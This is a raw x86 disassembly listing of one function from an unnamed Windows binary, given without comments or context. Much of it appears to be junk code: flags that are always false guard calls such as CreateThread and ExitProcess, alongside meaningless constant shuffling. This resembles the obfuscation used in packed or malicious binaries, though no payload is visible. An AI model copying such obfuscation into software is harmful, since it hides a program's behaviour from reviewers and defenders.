mov dword [ebp - 0x794], eax
push 0xfffffffffffffff8
pop eax
test eax, eax
jl 0x4273c0
cmp dword [ebp - 0x338], 0
jne 0x4273c9
and dword [ebp - 0x340], 0
jmp 0x4273d3
mov dword [ebp - 0x340], 1
cmp dword [ebp - 0x340], 0
je 0x4273f1
cmp dword [ebp - 0x174], 0
je 0x4273f1
mov dword [ebp - 0x348], 1
jmp 0x4273f8
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x348], eax
jle 0x427412
mov dword [ebp - 0x350], 1
jmp 0x427419
and dword [ebp - 0x350], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x350]
mov dword [ebp + eax - 0x358], ecx
cmp dword [ebp - 0x160], 0
jne 0x427613
mov dword [ebp - 0x5c], 0
jmp 0x427449
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x42745f
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x6c8], 0x25b9b55b
jmp 0x427442
mov dword [ebp - 0x5c], 0
jmp 0x42746f
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x427485
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x8c8], 0xffffffff
jmp 0x427468
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x6c8], 0
jmp 0x4274b0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x6c8]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x6c8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x6c8], 7
jg 0x427512
mov dword [ebp - 0x1a4], 0xfffffffa
mov dword [ebp - 0x1a4], 0
jmp 0x4274e2
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 2
jg 0x427510
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x42750e
push 0xaa1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x4274d5
jmp 0x427497
mov dword [ebp - 0xf4], 0xffffffff
mov dword [ebp - 0x40], 0
jmp 0x42752c
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x427542
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x8ec], 1
jmp 0x427525
mov dword [ebp - 0x40], 0
jmp 0x427552
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x427568
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x8fc], 1
jmp 0x42754b
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x427592
push 0
push 0x1597
push 0
push 0
push 0x8e8
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xf4], 2
jmp 0x4275ab
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jl 0x42760c
mov dword [ebp - 0x77c], 0x6312
mov dword [ebp - 0x360], 0
mov dword [ebp - 0xf0], 0
jmp 0x4275e1
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jge 0x4275fd
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x894], 0
jmp 0x4275d4
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
jmp 0x42759e
xor eax, eax
jmp 0x428b7d
mov dword [ebp - 0x208], 0x3eca4f83
mov dword [ebp - 0x204], 0x3eca4f83
mov dword [ebp - 0x200], 0x3eca4f83
mov dword [ebp - 0x1fc], 0x3eca4f83
mov dword [ebp - 0x38], 0x1fe77dd6
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov eax, dword [ebp + eax - 0x208]
mov dword [ebp + ecx - 0x208], eax
mov dword [ebp - 0x38], 3
jmp 0x42766c
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x4278b7
mov dword [ebp - 0x14], 0x6b8f3d42
mov dword [ebp - 0x14], 0
jmp 0x42768d
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x4277ce
mov dword [ebp - 0x1cc], 0x23d4
xor eax, eax
inc eax
je 0x4277b2
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x208]
mov dword [ebp - 0x79c], eax
mov eax, 0x3191
test eax, eax
je 0x4276df
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x208], 0
je 0x4276df
mov dword [ebp - 0x368], 1
jmp 0x4276e6
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x208]
cmp dword [ebp - 0x368], eax
je 0x427704
mov dword [ebp - 0x370], 1
jmp 0x42770b
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x208]
cmp eax, dword [ebp - 0x370]
je 0x427729
mov dword [ebp - 0x378], 1
jmp 0x427730
and dword [ebp - 0x378], 0
cmp dword [ebp - 0x378], 0x8ec
jle 0x427748
mov dword [ebp - 0x380], 1
jmp 0x42774f
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0x380], eax
je 0x427769
mov dword [ebp - 0x62c], 1
jmp 0x427770
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x14], 0xeef7d266
ja 0x427791
mov dword [ebp - 0x388], 1
jmp 0x427798
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0x388], eax
jle 0x4277b2
mov dword [ebp - 0x390], 1
jmp 0x4277b9
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x390]
mov dword [ebp + eax*4 - 0x208], ecx
jmp 0x427686
mov dword [ebp - 0x14], 0
jmp 0x4277de
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x4278b2
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x208]
cmp dword [ebp - 0x14], eax
jle 0x427803
mov dword [ebp - 0x3a0], 1
jmp 0x42780a
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x208], 0
jne 0x427826
cmp dword [ebp - 0x14], 0
jne 0x427826
and dword [ebp - 0x398], 0
jmp 0x427830
mov dword [ebp - 0x398], 1
mov eax, 0x9a488d5
sub eax, dword [ebp - 0x398]
je 0x427850
push 9
pop eax
test eax, eax
je 0x427850
mov dword [ebp - 0x3a8], 1
jmp 0x427857
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a0]
cmp eax, dword [ebp - 0x3a8]
jg 0x427871
mov dword [ebp - 0x3b0], 1
jmp 0x427878
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x208]
cmp eax, dword [ebp - 0x3b0]
jne 0x427896
mov dword [ebp - 0x3b8], 1
jmp 0x42789d
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp + eax*4 - 0x208], ecx
jmp 0x4277d7
jmp 0x427665
push dword [ebp - 0x1d0]
lea eax, [ebp - 0x788]
push eax
lea eax, [ebp - 0x160]
push eax
push 0x2d02
push 1
push 1
lea eax, [ebp - 0x34]
push eax
push 1
push dword [ebp - 0xd8]
push 0x4c56
push 1
call fcn.00424011
add esp, 0x2c
mov dword [ebp - 0x728], 5
mov dword [ebp - 0x724], 5
mov dword [ebp - 0x720], 5
mov dword [ebp - 0x71c], 5
mov dword [ebp - 0x698], 0xba47c9d5
mov dword [ebp - 0x108], 0
jmp 0x42793a
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jge 0x427956
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0xd0], 0xfffffffc
jmp 0x42792d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd0], 0
jmp 0x427984
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd0], 9
jge 0x4279dc
mov dword [ebp - 0x3c0], 0xe7d214c4
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x728], 0xfffffffd
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x7f0], eax
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x790], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
mov dword [ebp - 0x698], eax
jmp 0x427969
push 0x577
push 0x7cce
push 0x45c5
push 1
push 0x765d
push 1
push 0
push 0x23f0
push 0x2bcb
push dword [ebp - 0xd8]
push 0x5267
push dword [ebp - 0x34]
push dword [ebp + 8]
push 0xbb2
push 0x2c6d
push 0x2255
call fcn.0040b28b
add esp, 0x40
mov dword [ebp - 0x110], 1
mov dword [ebp - 0x110], 0
jmp 0x427a4b
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffe5
jg 0x427b32
mov dword [ebp - 0x118], 0xffffffff
mov dword [ebp - 0x634], 0xf023498e
mov dword [ebp - 0x118], 0
jmp 0x427a85
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffe6
jne 0x427b2d
mov dword [ebp - 0x120], 0xffffffff
mov dword [ebp - 0x120], 0
jmp 0x427ab5
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x15
jge 0x427b28
mov dword [ebp - 0x128], 0
jmp 0x427ad7
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 4
jge 0x427af3
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x8ac], 0x5f0ed1ad
jmp 0x427aca
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x8ac]
mov dword [ebp - 0x634], eax
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x427b26
push 0
push 0x2686
push 0
push 0x52f
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
jmp 0x427aa8
jmp 0x427a78
jmp 0x427a3e
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x160]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 0x860], 3
mov byte [ebp - 0xa2], 0
movzx eax, byte [ebp - 0xa2]
test eax, eax
je 0x427b72
push 0
push 0x2669
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov byte [ebp - 0x7d], 0
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x427b86
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp - 0x3c8], 0
je 0x427bff
mov dword [ebp - 0x798], 0x4f01c089
mov byte [ebp - 0xa4], 0
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x427bba
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x427bd7
push 0x1a36
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x37f6
push 0
push 1
push 0
push 0x2e66
push dword [ebp - 0x34]
push 1
push dword [ebp - 0x3c8]
push 0x560d
call fcn.0041fb41
add esp, 0x24
mov dword [ebp - 0x3f0], 0xfffffffa
mov dword [ebp - 0x3e0], 0x648bd921
mov dword [ebp - 0x1e8], 0xfffffff8
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x130], 2
mov dword [ebp - 0x1e0], 0xffff
mov dword [ebp - 0x5d0], 0x4d4a788a
mov dword [ebp - 0x800], 0xffffffff
mov dword [ebp - 0x44], 0
jmp 0x427c5f
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x427c75
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x214], 0x4a20
jmp 0x427c58
mov dword [ebp - 0x44], 0
jmp 0x427c85
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x427c9b
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x6dc], 0xd925d3c0
jmp 0x427c7e
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x214]
cmp dword [ebp + eax - 0x214], ecx
jne 0x427cc3
mov dword [ebp - 0x408], 1
jmp 0x427cca
and dword [ebp - 0x408], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
mov dword [ebp - 0x7a0], eax
or eax, 0xffffffff
jne 0x427cf4
cmp dword [ebp - 0x130], 0
jne 0x427cf4
and dword [ebp - 0x3d0], 0
jmp 0x427cfe
mov dword [ebp - 0x3d0], 1
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x3d0], eax
jle 0x427d18
mov dword [ebp - 0x3d8], 1
jmp 0x427d1f
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x3e0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
cmp dword [ebp - 0x3e0], eax
je 0x427d4c
mov dword [ebp - 0x3e8], 1
jmp 0x427d53
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0
jae 0x427d80
mov dword [ebp - 0x3f8], 1
jmp 0x427d87
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
neg eax
mov dword [ebp - 0x1d8], eax
jne 0x427da9
cmp dword [ebp - 0x130], 0
jne 0x427da9
and dword [ebp - 0x400], 0
jmp 0x427db3
mov dword [ebp - 0x400], 1
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
cmp eax, dword [ebp - 0x400]
jg 0x427dda
mov dword [ebp - 0x5bc], 1
jmp 0x427de1
and dword [ebp - 0x5bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
mov dword [ebp - 0x850], eax
mov eax, 0xa4f2a6ca
sub eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x214]
cmp dword [ebp - 0x408], eax
jle 0x427e2d
mov dword [ebp - 0x410], 1
jmp 0x427e34
and dword [ebp - 0x410], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6dc]
cmp dword [ebp - 0x410], eax
jg 0x427e55
mov dword [ebp - 0x5c0], 1
jmp 0x427e5c
and dword [ebp - 0x5c0], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6dc], 8
jb 0x427e78
mov dword [ebp - 0x5b8], 1
jmp 0x427e7f
and dword [ebp - 0x5b8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x214]
mov dword [ebp - 0x7a8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
mov dword [ebp - 0x810], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
mov dword [ebp - 0x7b0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x214], 0x58f8
jge 0x427ed6
mov dword [ebp - 0x418], 1
jmp 0x427edd
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x5d0], eax
push dword [ebp - 0x34]
call fcn.00415b7f
pop ecx
test eax, eax
jne 0x427efd
xor eax, eax
jmp 0x428b7d
mov dword [ebp - 0x68], 0xd3df75dc
mov dword [ebp - 0x64], 0xfffffffd
mov dword [ebp - 0x138], 0
jmp 0x427f24
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 2
jge 0x427f40
mov eax, dword [ebp - 0x138]
mov dword [ebp + eax*4 - 0x58c], 0
jmp 0x427f17
mov dword [ebp - 0x68], 0x16
jmp 0x427f50
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x19
je 0x4283b8
mov dword [ebp - 0x584], 0x4e26c12a
mov dword [ebp - 0x580], 0x4e26c12a
mov dword [ebp - 0x57c], 0x4e26c12a
mov dword [ebp - 0x578], 0x4e26c12a
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x5d8], 0xfff8
mov dword [ebp - 0x5e8], 0x324e8160
mov dword [ebp - 0x480], 0x9bb5c1ed
mov dword [ebp - 0x5f0], 9
cmp dword [ebp - 0x68], 0
je 0x428038
cmp dword [ebp - 0x68], 6
jge 0x427ff4
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x427ff4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x584]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x58c]
je 0x427ff4
mov dword [ebp - 0x420], 1
jmp 0x427ffb
and dword [ebp - 0x420], 0
imul eax, dword [ebp - 0x420], 0
test eax, eax
jne 0x42801c
cmp dword [ebp - 0x64], 0
jne 0x42801c
push 2
pop eax
test eax, eax
jne 0x42801c
mov eax, 0x12e75507
test eax, eax
je 0x428038
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x584], 0
je 0x428038
mov dword [ebp - 0x428], 1
jmp 0x42803f
and dword [ebp - 0x428], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x428]
sub ecx, dword [ebp + eax - 0x58c]
push 4
pop eax
shl eax, 1
cmp ecx, dword [ebp + eax - 0x584]
jge 0x42806f
cmp dword [ebp - 0x64], 0
jne 0x42806f
and dword [ebp - 0x430], 0
jmp 0x428079
mov dword [ebp - 0x430], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x584]
cmp dword [ebp - 0x430], eax
je 0x42809a
mov dword [ebp - 0x438], 1
jmp 0x4280a1
and dword [ebp - 0x438], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x584]
cmp dword [ebp - 0x438], eax
jl 0x4280c2
mov dword [ebp - 0x440], 1
jmp 0x4280c9
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x84], 0
jmp 0x4280ee
cmp dword [ebp - 0x84], 0xfffffff5
jne 0x4283b3
mov dword [ebp - 0x150], 0x1cf6
mov dword [ebp - 0x64], 0
jmp 0x428115
cmp dword [ebp - 0x64], 0x17
jge 0x4283ae
mov dword [ebp - 0x8c], 5
mov dword [ebp - 0x140], 0
jmp 0x428142
jmp 0x4280e1
jmp 0x427f49
push 0x30b8
push 0x4213
push 1
push 0xdbd
push 0x69f
push 0x408
push 0x661
push dword [ebp - 0x34]
push 0x306
push 1
push 1
push 0
push 0x7a0a
call fcn.0041b49f
add esp, 0x34
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x828], 0xffffffff
mov dword [ebp - 0x7c0], 0x16511c25
mov dword [ebp - 0x870], 0
mov dword [ebp - 0xc], 0
jmp 0x428428
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x42843e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x220], 2
jmp 0x428421
mov dword [ebp - 0xc], 0
jmp 0x42844e
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x428464
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x6e8], 0xffffffff
jmp 0x428447
mov dword [ebp - 0xc], 0
jmp 0x428474
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x42848a
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x88c], 0x7cd14257
jmp 0x42846d
mov dword [ebp - 0x1c], 0xffffffe8
jmp 0x42849a
cmp dword [ebp - 0x1c], 0x12
jle 0x428603
mov dword [ebp - 0xe0], 0xa715cc48
mov dword [ebp - 0x244], 3
mov dword [ebp - 0x158], 0
jmp 0x4284d1
cmp dword [ebp - 0x1c], 1
jg 0x428615
mov esp, ebp
pop ebp
ret